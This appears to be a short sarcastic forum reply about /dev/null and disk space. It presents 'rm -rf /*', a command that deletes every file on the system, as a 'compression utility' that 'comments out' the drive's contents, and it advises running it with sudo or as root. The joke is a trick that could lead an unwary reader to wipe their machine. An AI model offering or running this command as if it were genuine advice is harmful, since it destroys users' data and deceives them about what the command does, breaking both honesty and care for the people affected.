Well, /dev/null is a device. I don't know what happens if you remove it and make it a sub-directory. But sure, you can use the "rm -rf /*" utility to compress your files and you'll get more space on your disk than you had before you started. It works by commenting out all of your drive's content...note the beginning of the C-style comment token. You might also have to run it as root or prefixed with `sudo` because getting >100% compression requires super-user permissions.
